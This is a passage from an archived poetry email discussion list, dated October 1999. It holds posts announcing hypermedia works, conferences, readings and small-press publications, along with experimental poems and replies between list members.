Charles Bernstein

↑ Index

39. Todd Baron /*/ ReMap Readers
query
Mon 4 Oct 1999

need an i-net address for
laura wright
please

or laura e-ml me!

thanks

todd baron
remap readers

↑ Index

40. Hazel Smith
hypermedia
Mon 4 Oct 1999

Some of you who are interested in hypertext/hypermedia might want to look at my latest effort, Intertwingling, a collaboration with Roger Dean at

http://dingo.vut.edu.au/%7Earts/cals/intert/interstart.htm. It is part of the Overland Express site http://www.overlandexpress.org/.

The previous hypermedia work, Wordstuffs: The City and the Body, which I posted notice of to this list sometime ago, has now has now moved from the

Australian Film Commission site to the Australian Broadsacting site at a new address: http://stuff-art.abc.net.au/stuff98/10.htm

Hazel

Hazel Smith
School of English
University of New South Wales
Sydney 2052

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41. Sylvester Pollet
NPF Conference Call for Papers
Mon 4 Oct 1999

Call for Papers

The Opening of the Field: A Conference on
North American Poetry in the 1960s

University of Maine
Orono, Maine
June 28-July 2, 2000

The National Poetry Foundation invites paper and panel proposals for a conference on North American poetry of the 1960s. Proposals are welcome on writers of previous generations whose literary careers extended into the 1960s, such as Louis Zukofsky, George Oppen, Robert Lowell, Charles Olson, Anne Sexton, Elizabeth Bishop, Lorine Niedecker, etc.; on poets of literary movements that climaxed in the 1960s, including the Beat, Black Mountain, San Francisco Renaissance, and New York schools; on women poets and poets of color, who began to speak with a new confidence during this decade; and on new literary moments that began to define themselves in this period, such as the ethnopoetic movement and language-centered writing. Papers are also invited on the general cultural background of the period, including such themes as the tensions between "academic" poetry and various attempts to bring poetry into the lives of people "in the streets"; the relationship of poetry and popular culture, including rock music; and the role of poetry in the anti-war movement. As the title of the conference suggests, we invite proposals on Canadian as well as on American poetry in the 1960s.

The conference will begin on Wednesday evening, June 28, and will conclude shortly after noon on Sunday, July 2. Accommodations and meals will be available at a reasonable rate in university residence halls. Registration will be $85, with a reduced rate of $60 for graduate students.

Confirmed participants as of October 1, 1999, include Marjorie Perloff, Michael Davidson, Joan Retallack, Lorenzo Thomas, Rosmarie Waldrop, Keith Waldrop, Maria Damon, Barrett Watten, Lynn Keller, Peter Middleton, and Ron Silliman.

Send one-page abstracts before February 1, 2000, to

Burton Hatlen
Director, National Poetry Foundation
Room 304
5752 Neville Hall,
University of Maine
Orono, ME 04469-5752

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42. Alan Sondheim
trAce Online Writing Community
Mon 4 Oct 1999

++++++

trAce Online Writing Community at http://trace.ntu.ac.uk

is going strong at the moment; I'd urge you to join (which takes almost no time and costs nothing). The following are the ongoing conferences (some of which are new) - in addition to these, you can add to the loveandwar project by going to http://trace.ntu.ac.uk/writers/sondheim/index.htm -

NEW! Writing & Psychology (1)
Teaching & Presenting the Web (2)
trAce Chat Meetings (2)
Information for New Members (17)
Introduce Yourself Here (227)
Avatar (73)
Cyborg-Tech (31)
Experimental (74)
Love-War (51)
Programming & Writing (30)
Project Announcements (32)
Writing & Politics (57)
Writing Workshop (184)
Poetry (179)
Building Creative Community (29)
Opinion (6)
General (111)
Help & Advice (49)

MOO Advice (34)
Technical Forum (41)
Small Ads (17)
The trAce website (7)
Riding the Meridian (2)

The conferences are very active; I'd urge you to participate, or at least take a look at the contents. I've been moderating a number of them, in- cluding Experimental, Programming & Writing, Writing & Politics, Love-War (about the project), Avatar, Cyborg-Tech, and we've just opened up Writ- ing & Psychology.

I also want to thank everyone who has already been participating - the writing and discussions have been wonderful -

Alan

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html

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43. Daniel Kane
Ann Lauterbach on WriteNet
Mon 4 Oct 1999

After a month-long hiatus, the WriteNet poet interview series is back. This month, Ann Lauterbach reads her poem "On (Open)" from her book _On A Stair_, and talks about poetry as magic and the fragmented nature of experience.

To read the interview, go to

http://www.writenet.org/poetschat/poetschat_alauterbach.html

Also, if you have been enjoying these series, I'd really appreciate it if you could "spread the word" as it were and let people outside the poetics list know about it. Thanks.

--daniel

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44. Mark Wallace
Washington Review
Mon 4 Oct 1999

The Washington Review Online website
"literature and the arts, Washington, DC and elsewhere"

has moved to

www.washingtonreview.com

It has been extensively updated with material from the past two years' print issues and features an upublished interview with hypertext fiction writer Stuart Moulthrop, as well as color photos of the fashion world by Lucien Perkins.

The website contains avant-guard poetry by writers from all over the country, plus fiction, interviews, photographs, and reviews of art, theater, music and new media.

Please update your bookmarks and links, the old site will only be around for

↑ Index

45. Brian Stefans
Barque Website
Mon 4 Oct 1999

Somebody in England asked me to post this...

Barque Press now has a website.

Run up the counter at: http://www.geocities.com/SoHo/Workshop/2554

With details of new books by British poets and some slightly older ones by some American poets. John Wilkinson, J.H. Prynne, Kristin Prevallet, Jordan Davis, Keston Sutherland, Andrea Brady, Peter Manson et al. Plus the journal QUID: prose recons from Drew Milne, Douglas Oliver, David Hess, Andrea Brady, Mike Sperlinger, poems out of Brian Kim Stefans, John Wilkinson, Tim Morris, others.

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46. Poetics List
list stats
Mon 4 Oct 1999

subscribership by country, with the usual caveat: domain names that do not end with a country code are assumed by the listserv program to be U.S. domains. Chris

Country	Subscribers
Australia	13
Belgium	2
Canada	43

Finland	1
Germany	3
Great Britain	22
India	1
Ireland	5
Italy	1
Japan	6
Netherlands	1
New Zealand	14
Poland	1
Singapore	1
Spain	2
Sweden	4
Switzerland	2
Thailand	1
USA	652
Yugoslavia	1
???	1

Total number of users subscribed to the list:	779
Total number of countries represented:	21

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47. Jorge Guitart
looking for Lisa Samuels
Mon 4 Oct 1999

Lisa, please get in touch with me by e-mail. Thanks.
jg

↑ Index

48. Lowther, John
11-11, lipstick...?
Mon 4 Oct 1999

Kathy Lou wrote; "which means of course that there will one day be a Lipstick Eleven 11, and won't we all cry for joy then? (I know I will)."

i'm familiar with a venerable dope smoking tradition wherein whenever the clock reads 11:11, it's time to toke ---- now as i understand this tradition started in a car with a broken clock which cd with a slight touch, make the shuft from 11:10 to 11:11

not that i've ever beeen in that car, or truck or whatever

nor am i sanctioning etc etc

↑ Index

49. Daniel Kane
Hoa Nguyen Student Poetry Workshop on WriteNet
Mon 4 Oct 1999

Teachers & Writers
Collaborative is proud to feature the second on-line workshop led by poet
Hoa Nguyen of Austin, Texas. Nine student writers from around the
country are participating this time around. Adapt Hoa's writing exercises
for your own students, and learn how to critique student poetry by
reading Hoa's responses on the forum page. These particular workshop
respondents will begin their project by writing poems based on Exercise
11. Find out more about the resident writer on the info page, or read
student writing and responses on the forum page. Feel free to use all the
exercises listed on this page in your classrooms.

To view the pages, go to

http://www.writenet.org/virtualpoetrywrkshp.html

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50. david bromige
re revolving doors
Mon 4 Oct 1999

---

the poem "Revolving Door" with which my selected, _Desire_,(1988), opens, was written in 1961* and was first published in a book, _The Gathering_ , in 1965. It was published again in an early selected, _Ten Years in the Making_ , in 1973. There are slight differences between the earlier verions, and the 1987 version.

* the table of contents of _10 years_ states that this poem was written in 1964. I believe this to be incorrect; I must have meant re-written. I have a clear recollection of writing this poem before I left Vancouver (1962), and of its being published thenaobuts in a magazine...but which, I can't recall.

The term "revolving door" (hired n fired, biz world), was not in use in those years. It is not a linguistic resource then, so much as a 3-dimensional one, that prompts it : the actual object in the 4th dimension of time.

Whether Ron derived it from my work strikes me as moot. There are revolving doors everywhere, plus which I believe by the time of _Ketjak_ 's being written, the biz term had currency. That notwithstanding, I have always been encouraged by this rime between Ron's quite different writing, and mine. .

db

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51. David Kirschenbaum

Booglit #6: Lowell Celebrates Kerouac! Festival

Mon 4 Oct 1999

Now available:

Booglit #6: Lowell Celebrates Kerouac! Festival
David Kirschenbaum, editor and publisher
ISSN 1085-4800
36 pages, + 4-page, 4-color wrap, $10
$5 from each issue goes to Lowell Celebrates Kerouac! (LCK!), a nonprofit community-based organization.
Postpaid for list members.

Checks payable to:
Booglit
351 W.24th Street Apt. 19E
New York, NY 10011-1510
email inquiries: [redacted]

Commissioned by LCK for this year’s festival.
Cover photograph of Jack Kerouac at the Staten Island Ferry Terminal by Allen Ginsberg.
Back cover poem/collage by Wendy Kramer.

Features:

•Robert Creeley section: an annotated interview on his relationship with Kerouac, conducted by Michael Basinski--assistant curator of the Poetry/Rare Books collection at SUNY-Buffalo; coverage of the New York opening of "In Company: Robert Creeley’s Collaborations”; and a review of Creeley’s newest collaboration, with the photographer Elsa Dorfman, En Famille (Granary Press, 1999).

•David Amram section: an interview of Kerouac’s musical partner by Basinski and Amram’s essay "Collaborating with Kerouac."

•Douglas Brinkley, Kerouac’s official biographer, with an introductory essay to the author’s unpublished "Washington D.C. Blues.”

•Poetry from ex-White Panther Party leader and MC-5 manager John Sinclair (with art by Madeline Hope Arthurs); Wild at Heart author and screenwriter Barry Gifford; Coffee House Press author Eliot Katz; and Long Shot magazine editor Danny Shot w/Herschel Silverman. Plus more poetry and and Beat audio and printed matter reviews.

Also available in lettered limited editions, signed by Creeley, Amram, Sinclair, Brinkley, Katz, Shot, and other contributors, and a CD of sonic music by Emil Beaulieu composed and released for this project. $25 saddle-stapled lettered AA to ZZ; $85 bound on boards, lettered A to Z.

Be Good,
David Kirschenbaum

Get Your Private, Free Email at http://www.hotmail.com

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52. Tisa Bryant

Re: View from the front: The Small Press Traffic soiree

Mon 4 Oct 1999

Kathy,

I believe it was Ms. Tanya Hollis who scored the snip of Chip's beard.... I remember being shocked and delighted that she bid on something described as being for fetishists....maybe they'll share, or (gasp!) maybe it is Tanya who's the beard for Taylor's bent....hmmm.

Tisa

<pre>
Warning: This is an eyewitness, first-person account and therefore inherently unreliable.

I attended the SPT soiree at New College in San Francisco this evening. (It was nearly an all-day affair.) I arrived a few minutes after 6:00 p.m. to assume my shift as door greeter/ticket taker-seller gal. My role was to take people's money and when they asked me questions, to immediately repeat the question in their presence to someone who might actually know the answer to the question.

I was involved in a spirited conversation with giovanni singleton and Peter Neufeld, Nick from SPT, and later Mary Margaret Sloan, and I was soon "shushed": you know, "can you keep it down for god's sake there's an auction going on next door" and apparently you need a lot of quiet for an auction.

I know because I held in my very own hand the tuft from the left side of Samuel Delany's 11-year-old beard (with a personal affidavit signed by Delany himself) which Taylor Brady secured at the SPT auction -- and you don't want someone outbidding you on something like that because you can't hear! I mean, it would be really heartbreaking. (You go Taylor boy.)

Later, Kevin Killian's play "Three On a Match" was staged to the enjoyment of all. I simply can't list here all the amazing performances, but will highlight the aforementioned Sloan's hilarious performance as a thwarted Olympic figure skater come murderer. I think she missed a calling, or maybe she is finding one now. Everyone did a very fine job, and then the local band "Plain" played and these guys are really talented -- all of them also appeared in Kevin's play.

Then I carried off the raffle prizes which loads of people from my office won (while I won nothing!) because Doug Powell, who works at the same company as me, sold loads of tickets at work. Good job! And I'm sure I will get the prizes to those who really won them, uh, right away . . .

Congratulations to everyone who worked hard to plan and execute the soiree, and I hope it brought in loads of cash for SPT.

Hugs & Kisses,
Kathy Lou

^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

</pre>

↑ Index

53. Michael Neff
News Items for ELANewsletter
Mon 4 Oct 1999

The WDS ELANewsletter is available to members on this listserv for news posts. Write editor, Liana Scalletar, [redacted], and request space in the

upcoming newsletter issue due out in a few weeks, and thereafter. The blurbing is no charge. ELAN reaches over 3000 at this time.

Note: we do not pitch individual works, but rather report on events, happenings, literary news of note, etc.

MN

↑ Index

54. Nielsen, Aldon
this just in
Mon 4 Oct 1999

---

new issue of _Callaloo_ has special sections on Will Alexander and Lorenzo Thomas -- poems, interviews, criticism -- good stuff --

↑ Index

55. Katie Degentesh
9X9X9X9X9X9X9X9X9
Mon 4 Oct 1999

OCTOBER 14, 1999, 7:30 PM at the ADOBE BOOKSHOP

9x9 INDUSTRIES returns to PRESENT

<bold>AN EVENING OF BLANKETY BLANKETY BLANK WITH THE SOMETHING SOMETHINGS

</bold>BUT FIRST:

<bold>Michael Disend, </bold>screenwriter, performer, film actor, and professional hypnotist, will read from a work in progress. Author of the classic Sixties novel STOMPING THE GOYIM, which has been called "some of the great writing of the century" and will soon be reprinted by Sun and Moon Press, Disend lives in San Francisco.

AND THEN (and THEN and THEN and THEN):

The hyperbolic adjective trio,

<bold>Todd Barker, Paul Spencer, and Felix Macnee,

</bold>will perform the (far, far) above-titled work.

Bring your fever-pitch unction and dangling participles.

There will be a certain amount of danger.

<bold>Todd Barker</bold> holds a Masters of Fine Arts degree from the California College of Arts and Crafts, generally in his left hand. He has performed

and exhibited widely, in venues such as The Lab and the Gorgonzola Peach Blintz.

<bold>Paul Spencer,</bold> currently completing a degree in painting at the San Francisco Art Institute, chips his canvas with a whimsical mannerist futon and piles his words on with advanced cat pressure.

<bold>Felix Macnee</bold> has snaggled teeth, a pork pie hat, and deals the cards with two broken hands. He has written a play starring green beans.

<bold>Michael Disend</bold> is a burning wick. His hair holds conversations with Sugar Ray Robinson, and a stumbling egg cream boy he is. I have seen him type up Martin Chuzzlewit with one finger.

1999 (NINETEEN NINETY (NINE BY NINE) INDUSTRIES) 199X9

9X9 INDUSTRIES http://www.paraffin.org/nine/

[redacted]

GIVE US YOUR TIRED, YOUR POOR, YOUR THURSDAY ASSES

YEARNING TO SEE PERFORMANCES FOR FREE

↑ Index

56. Brian Lennon

Ripostes to Jameson on Perelman?

Mon 4 Oct 1999

I'm trying to assemble a *complete* list of responses to Jameson's attack (in _Postmodernism, Or..._) on Perelman's poem "China." Or, of critiques of Jameson that touch explicitly on those passages in Jameson dealing with the poem. All help backch or frontch appreciated.

Thanks
Brian Lennon

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57. Jim Andrews

New Vispo Audio: Paul McKinnon's "Wake Up and Smell the Bus Depot"

Mon 4 Oct 1999

NEW AT VISPO AUDIO:
PAUL MCKINNON'S "WAKE UP AND SMELL THE BUS DEPOT"
http://www.vispo.com/audio

A stand-up travelogue featuring burning bridges, racial tension, road food, bad luck, strange sex, and the ghost of Jack Kerouac. Recorded at Mocambopo in Victoria, BC.

I was at the performance of this piece. It was a memorable evening, treated as we were to a performance by Paul of this humorous and telling travelogue through three countries from Mexico to Vancouver.

Related travelogue audio and other writing by Paul is at The Nepenthe Journal: http://www.freespeech.org/tumbleweed/radio.html

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58. Jerrold Shiroma

small press publications announcements deadline

Tue 5 Oct 1999

The deadline for this week's Small Press publications announcements page @ Duration Press is this Friday. All publishers who wish to have their publications listed, please send all appropriate information, such as titles, authors, prices, contact / ordering information, web addresses, & short descriptions to [redacted]

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59. Fredrik Hertzberg LIT

Oidentifierade verbala objekt

Tue 5 Oct 1999

Just a note to say that last week in Stockholm I found a new publication called OED: Oidentifierade verbala objekt, which includes translations of Charles Bernstein's Artifice essay, his A Defence of Poetry, an extract from Perloff's Radical Artifice, poetry by Hannah Weiner, together with other stuff (by Ros-marie Waldrop,Julien Blaine, Emmanuel Hocquard, Pierre Alferi, etc). Finally something's cooking up here. If anyone's intersted their address is OEI, Box 311 20, 400 32 Göteborg (Gothenburg), Sweden.

Fred

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60. miekal and

boredom, currency

Tue 5 Oct 1999

The text is (should be) that uninhibited person,
non-site): anachronic subject, adrift

At least some examples?
of an epoch, of a character?
word for word?
denote a class notion?
another edge, mobile, bleak?
the institutions of text?
but the opposite?
doesn't every narrative lead to Oedipus?
an anagram of the body?
my reader's pleasure?
the sentence is a body?
all this verbal display?
the very materiality of that once existed?
how can we read criticism?
boredom of all narratives?

Pry Luz, pray.for.light

such are the hardships everywhere in the garden your sweat the divine shaman by the corner beneath dawn those whirring walls of the festival the hill talks of nonsense let the rain take off and village ditties are here busy at raising silkworms in the field picking melons this crooked road your upset clings to my gown on and on over the jumbled hills Buddha is everything rejoice in the slanting flowers for what you are is the creatures of creation halfway up the mountain facing scars from former years this crooked road sorrow is blown by a flute and Buddha is everything don't mistake the wasted days twisting in the azure air opposite me turn towards you for I fear at random so loving their fall so loving their fall hundreds cannot tell the deep-hidden dotted the peach-paths ashamed that the traveler has got enough for you to get drunk still wrapped in private gauze for her dress a shivering drink before going home so its fertilty will reimburse you and the little one will brush noisily like the wind tomorrow we'll go

Danshi Mureite, [redacted]

Your sisters must all stay home
At night we all sleep together

Please show me the house
Was it an empty dream?

Moon meant that he would be waiting
that love & lust inspire in men

He was now growing far too fond of her
such delicacy blooming in the thicket

snow had fallen heavily and piled up
the days went by, were no longer mine to control

I'll kill you for your pains
foreheads who must be peeping with interest
floating along thinking of their own inevitable end

nobody could hear your nonsense
wretched though the place looks

much stock in the words of the diviner
but would desire to converse with such a woman
engender frivilous thoughts
while I sat in a meditation hall
everything is dust & reflected in the pond
I gathered all the priests with my own hand
he could not deny the blind intoxicating pleasure

I was startled & scurried for shelter
but we can forget our misery
nervously I could not keep back my tears

write now:
http://trace.ntu.ac.uk/writers/sondheim/a.htm

↑ Index

61. Ron Silliman
La Jolla Beyond Babel
Tue 5 Oct 1999

This sounds like a great event. It even includes Charles Bernstein,

Ron

BEYOND BABEL
Common Language, Common Differences, Common Ground

Western Humanities Alliance - 18th Annual Conference

UNIVERSITY OF CALIFORNIA, SAN DIEGO
October, 14-15-16, 1999

http://literature.ucsd.edu/babelschedule.html

Conference access is free and open to everyone

Opening of the Conference

THURSDAY OCTOBER 14
4:00-5:30 PM
Price Center Ballroom

Welcome - Frantisek Deak, Dean, Arts and Humanities
- Simon Williams, Director, Western Humanties Alliance
- Marcel Henaff, Conference Organizer

Keynote Address:

DOUGLAS HOFSTADTER, Cognitive Science, Indiana University

"Human Cognition as a Blur of Analogy and Blending"

Areas of discussion:
1. Hybridization of Cultures / Cultures of Hybridization
2. Crossing of Disciplines and of Models of Knowledge
3. Blending of Artistic Forms
4. Integration of Cognitive Processes.

FRIDAY, OCTOBER 15

9:00 - 10:30 - Panels:
Postmodern Hybridity: the Politics and Poetics of Culture [Area 1]
Colonialism and Shifting Alliances [Area 1]
Community and The Language of Babel [Area 2]
Logics of Interdisciplinary Inquiry [Area 2]

11:00 - 12:30 - PLENARY SESSION [area 1]
Speaker: Aihwa ONG, Anthropology, UC Berkeley
"Questions of Globalization"

2:00-3:30 PM - Panels:
Negotiating Communities as Hybrids [Area 1]
Crossing Space and Time [Area 2]
Emotions, Analogies and Disanalogies [Area 2/3]
Extended Range Poetries [Area 3]

4:00-5:50 PM - PLENARY SESSION [area 2]
Speaker: Paul RABINOW, Anthropology, UC Berkeley
"Biopolitics Today"

6:00 PM
SPACED OUT: SOUTHERN CALIFORNIA VERNACULAR
An Exhibition of Works About Space in Southern California

Curated by: Steve Ausbury and Sarah Lewison
Opening Reception/Party: Friday, October 15 at 6:00 PM
Herbert Marcuse Student Gallery, right side of Russell Ln. off Gilman Dr.

SATURDAY, OCTOBER. 16

9:00 - 10:30 AM - Panels:
Identity and Narratives, Imaging Culture [Area 1]
Nation, Center and Margins [Area 1]
Spaces of Theater [Area 3]
Contemporary Art Mixes [Area 3]
Conceptual Blending [Area 4]

11:00 - 12:30 - PLENARY SESSION [area 3]
Speaker: Charles BERNSTEIN, English and Writing, SUNY Buffalo
"The Art of Immemorability"

2:00 - 3:30 PM - Panels:
Islam and Modernity [Area 1]
Japanese Hybridizations [Area 1]
Knowing and Imagining [Area 2]
Hybridization and Vernaculars in Music [Area 3]
Cognitive Strategies [Area 4]

4:00 - 5:30 PM - PLENARY SESSION [area 4]
Speaker: Mark TURNER, English and Cognitive Science, U of Maryland
"The Forbidden Fruit: the Role of Conceptual
Integration in Literary and Artistic Creativity"

Conference Organizer: Marcel Henaff, UCSD

Planning Committee: David Antin, Visual Arts, UCSD; Gilles Fauconnier, Cognitive Sciences, UCSD; Andrew Feenberg, Philosophy, SDSU; Douglas White, Anthropology, UCI

Conference Manager: Lucinda Rubio

Information: Christa Beran
[redacted] or fax [redacted]

For a complete list of panelists, discussants and other
information (maps, hotels etc) see our website:
http://literature.ucsd.edu/babelschedule.html

Marcel Henaff
UCSD-0410
La Jolla, CA 92093

Marcel Henaff
UCSD-0410
La Jolla, CA 92093

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62. miekal and
cybele overhears "I'm tired of poetry"
Tue 5 Oct 1999

Roland Barthes, [redacted]

the more ravaging term
the perhaps the subject
concerned with destruction
grasps at every point
but quickly exposes itself
we are all caught up in the truth
the leisure of bygone readings
where we can hear the grain of the throat
whenever I attempt
without ever introducing anything
the very utterance
the other reading skips nothing
psychoanalysis must be traversed
but it is doubtless
violence must be coded
if it were possible to imagine
we have either the course
outside bliss but not necessarily
deplored except
like a bird who understand nothing
only in total atopia

Vagina Dentata, [redacted]

Since we halved the hairpin

Young travelers coming here

I wipe my tears

Obliterated and buried

Why should one care?

Writhing upwards

Belongs to another time

Ten thousand noises die down

I recall those years

My shadow falls at random

I've known the tramp

I'll never fall behind

Choked by feeling

Bells ring in evening sky

My sorrow resembles

Family stripped clean

This charming beauty

Keep pace with ambition

Share a farewell cup

In a frozen land

On her new robe

Whip tucked in her sleeve

And showers affection as if

We must beg for poverty

Not too much wine

When he wakes up

Do we ever wake

Who brings war

I'm tired of poetry

daphne mezereum, [redacted]

In both of the insertions of poetic text that for greater sonority, inspite of its name, magic bullets which never miss their mark, thru a pact with the spirits of hell, such as observance of enharmonic equivalents, executed by a leading

couple, a sign indicating awe of nature near the end of life. a great flowering of songs to listen intelligently to has a considerable wider device to dampen sound, to change the best-known janizary music associated with famous clowns, often in service of the story. who wishes to marry a long contorted technique throughout. the contours of a forest anticipates the music after a period of captivity. optional dances on which a swan swims majestically is borrowed from a nearby mesmorizing rule. accidental music appeared to be exuberant melancholy.

little oulipo, curious digital artifact

impossible
everything
we
do
to
throat
before
we
if
we
understand
everything

↑ Index

63. Alan Sondheim
Lost Japan for Me
Tue 5 Oct 1999

=

Lost Japan for Me

Lost Japan
Japan New and Old
Bygone Days in Old Japan
Japan, A Glimpse into the Past

Japan - Signs - immersed - floor-level, the turning - slates of peoples - targeting and inverted - decathecting in the bushido zone - looking in towards interior perfections - closed faces and facades - operatives of the _brush-stroke_ - if the point/node characterizes the west, the line characterizes japan - kami linkages - the darkness of the city in my for- eign night - detailing and intervaling, spacings - mono no aware - wabi and sabi - the interior forlorn -

Japan, Land of Many Contrasts
Mysterious Japan
Japan, from Geisha to Gaijin

signs determinative of signs, foreign to me, illegible, _watching_ signs immersed in a world of signs floor-level, the turning, flatness of spaces, turning everywhere slates of peoples passing by, peripheral glances, blanked exteriors targeting and inverted, out of the corner of their eyes, gaijin naked decathecting in the bushido zone, detumescence, disconnected looking in towards interior perfections, perfect family-life, burakumin closed faces and facades, i was never there, lintels, portals operatives of the brush-stroke, the inscription of the real point and line, the view-given garden, turned and widening line kami linkages, everywhere intensities, confabulations of millennia, ages darkness of the city, gaijin bar to sidewalk to jinja to neon river, night detailing, intervals and spaces, the ornamental flow, edge intensity mono no aware, my last weeks, last night long walk past the zen temple wabi and sabi, this body, moments of despair and worn sailings

In the Streets of Old Japan
Japan, Land of Cherry-Blossoms
Japan, Land of the Cherry-Blossom
Japanese Wonders and Beauties

on the night of the interior forlorn, i have never finished with japan, it's an open wound, a space in consciousness, a flood, olden days in japan, images impenetrable, the gulf absolute, the rupture, and division of new and old, division of here and there

Arts and Crafts of Old Japan
Japan through the Eyes of Masterless Samurai
Japan, Land of the Rising Sun
The Japanese Miracle
The Japanese Experience
Art and Life in Old Japan
Japan Inside and Out

it's what i remember, every detail of the 7-11 store-shelves, walking be- hind hakozaki shrine, details which reappear in dreams, the second-hand shop on the corner and its shogi sets, more and more lists, the children staring at me yelling back 'baka baka'

Ghosts and Tales in Old Japan
Japanese Hobgoblins
Tengu? No Thank you! In Old Japan
Japan through Sumo

Life and Loves of the Ancient Japanese
Oh! Japan!

i can't assimilate the transformation, the kanji disappeared, certain paintings, glances, edges of things, always felt myself at odds with each and every gaijin, o third country of the spirit, it's what i remember, i'm dreadfully afraid of reconstitution, making it up as i go along, the things themselves retreated into algorithms for reconstruction, right or wrong, 'my japanese days,' 'my time in japan,' as well as more personal material intertwined, inseparable, confusioned, contusion

Representation and Misrecognition in Old Japan
Multicultural Exegesis in Genji's Heian Japan
The Presuppositions of the Myth of Japanese Homogeneity

haunted with an incontrovertible knot set in my maw my brainstem my hole, kabuki samurai misrecognitions, never made it to the theater, parks wet with leaves, moats, stone stupas, my gaijin head smashed among them as i leapt out of the country of noh truth as literal as possible

Japan Like a Native
Japan from the Air
Japanese Arts and Crafts
The Japanese Way of Life
The Japanese Response to the West

Japanese Aircraft
Popular Arts of Japan
A Popular History of Japan
Japanese Fairy-Tales
Japanese Comic Fun
Japan through Popular Manga
Pop-Pop Japan
Japanese Amusement
Nighttime Japan
Nikuko's Popular Imagery of Japan
I take you Nakasu-Kawabata Japan
Sexuality in Old Japan
Japan through Western Eyes
Gone Native in Japan

↑ Index

64. raea100900
a little self promotion
Tue 5 Oct 1999

Dear Listers,

I wanted to announce the quite curious fact that I have two (old) poems in the new Poetry Desk Calendar 2000 (available at a mega-chain near you). Most of the calendar days are occupied by dead people, so I'm somewhere between Blake and (the dread) Joyce Kilmer. Needless to say, we're a pretty ecclectic group!

Rae Armantrout

↑ Index

65. Daniel Kane
Lauterbach sound on WriteNet
Tue 5 Oct 1999

---

the sound file of Ann Lauterbach reading "On (Open)" wasn't linked correctly -- now it is -- to hear Ann L. read (with beeps of low-battery phone in background and wonderful hiss), go to

http://www.writenet.org/poetschat/poetschat_alauterbach.html

--daniel

↑ Index

66. Taylor Brady
Re: View from the front: The Small Press Traffic soiree
Tue 5 Oct 1999

It being nearly impossible for me to grow a beard myself, I've always held the hirsute facial appendages enthralling in others. Thus the true motive for my avowed "great pleasure" in introducing David Bromige during the group reading at the same event. (Though, it's true, I have as much admiration for his work as for his beard - and the same might be said of Delany). So mine is a beardward bent that needs no beard for its bending.

Tanya, of course, has her own "bent" reasons to dig a translucent plastic envelope full of hair...

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Tisa Bryant

Sent: Monday, October 04, 1999 2:47 PM
To: [redacted]
Subject: Re: View from the front: The Small Press Traffic soiree

Kathy,

I believe it was Ms. Tanya Hollis who scored the snip of Chip's beard.... I remember being shocked and delighted that she bid on something described as being for fetishists....maybe they'll share, or (gasp!) maybe it is Tanya who's the beard for Taylor's bent....hmmm.

Tisa

↑ Index

67. levitsk

Re: three details in order of occurance, 1 query

Tue 5 Oct 1999

---

1) quick and final reminder of next Belladonna:

Julie Patton and Betsy Andrews
reading at BELLADONNA*
(women's bookstore, 172 allen st, lower e. side
F train to 2nd ave.--- more info: [redacted])

Thursday, October 7
9:00 pm

2) Rachel Levitsky info through Dec. 22 (then back to normal)
phone: [redacted]
email: [redacted]
address: Villa Montalvo
P.O. Box 158
Saratoga, CA 95071-0158
or for fedex or larger packages:
15400 Montalvo Road
Saratoga, CA 95070

3) Eileen Myles workshop I know about: Begins Monday evening, Oct. 25 (I think 7pm)--if you are interested, contact Eileen at [redacted]. There will be 12 people max and cost is sliding scale. The focus of the workshop is everything.

4) Can someone pass along Fanny Howe address or edress or phone number to me? Many gracias in advance.

↑ Index

68. Grant Jenkins
Re: Ripostes to Jameson on Perelman?
Tue 5 Oct 1999

Brian,

If you haven't seen it already, George Hartley in <italic>Textual Politics</italic> has a great reading of Jameson's reading of Perelman.

Grant

↑ Index

69. Katie Degentesh
Re: small press publications announcements deadline
Tue 5 Oct 1999

Hi Jerrold -

do you list magazines as well, or only books?

Thanks -

Katie Degentesh

> *The deadline for this week's Small Press publications announcements page @ Duration Press is this Friday. All publishers who wish to have their publications listed, please send all appropriate information, such as titles, authors, prices, contact / ordering information, web addresses, & short descriptions to* [redacted]

↑ Index

70. david bromige
OVO, stockholm
Wed 6 Oct 1999

Maybe it's obvious to all, but if not, you will welcome the news that Oidentifieriade verbala objekt is an unidentified verbal object, presumably something that doesnt exist that everybody's read or heard of (although isnt it rather, in this case, something that does exist that nobody has seen or read of, in sweden that is, until now? leastwise in the minds of the editors?). It must be quite clear to non-swedish readers, except for the O, which has the function of un, but looks as though an irish person had blundered into the act. David

↑ Index

71. A H Bramhall
Casual Screed, part 1
Wed 6 Oct 1999

You Screw Ups, Wait Up!

the favourite toy releases the idea of generosity. merely being in that presence, people look for the ice to melt. maybe it won't, these winters are persistent. such is human devotion, even when the faces are wrong. still, maybe generosity is exactly the thing that could uncage the exacting beast needed for the situation. well first, accept that a situation exists. thoroughly riveting dynamics tell us that a possible intercourse shows on the map. maybe so, who bothers to look? just jump to the idea that something 's here. and it's just us, people of the neighbourhood. the neighbourhood doesn't have all its elements in working order, but we can try with what we' ve got. oh dear, that's a hopeful note, and hope is just one more hunk of wood floating down stream. the point is the idea of generosity, and how generosity could eradicate. well, what should it eradicate? what needs rectifying, what needs changing? dilemmas are everywhere, binary exclusions. try the door marked Generosity and see if anyone is there. because it's a person who must carry it, Generosity doesn't fall with the rain. we can look at the earth and all its whatever but, no, forget that, human is everything. your process, my process, something concerted. it's chemistry, or the tale of documentation, or a close kept secret molded for reasonable usage. what? just more talk? the heroes determine the features of the show. the favourite toy releases the idea of generosity. try the door marked Quickly. time has bent itself into all sorts of shapes, whether you were aware or not. me, I'm pretending to be noble so that Generosity (still drunk with power) will stumble closer. it's a game of waiting and wandering and wearing the right clothes. clean underwear or no underwear, as if this were a principle: who cares, the map exists, the song is known, the facts are clear and Generosity has the floor. believe it. or, you know, forget about it all, work another territory. the work has been described, we don't need the experts telling us more.

↑ Index

72. A H Bramhall
Casual Screed, part 2
Wed 6 Oct 1999

Welcomed Grant From Poetry Heaven

the process can be faked. likeliness fools many people. advice is just another hazard in the road. Poetry has no point, and never scores a run. never in possibility, only thrust to the bottom and left to accrue notions from the most usual of places. anyone can make Poetry, it's a big trick. it' s a scam, a racket, a

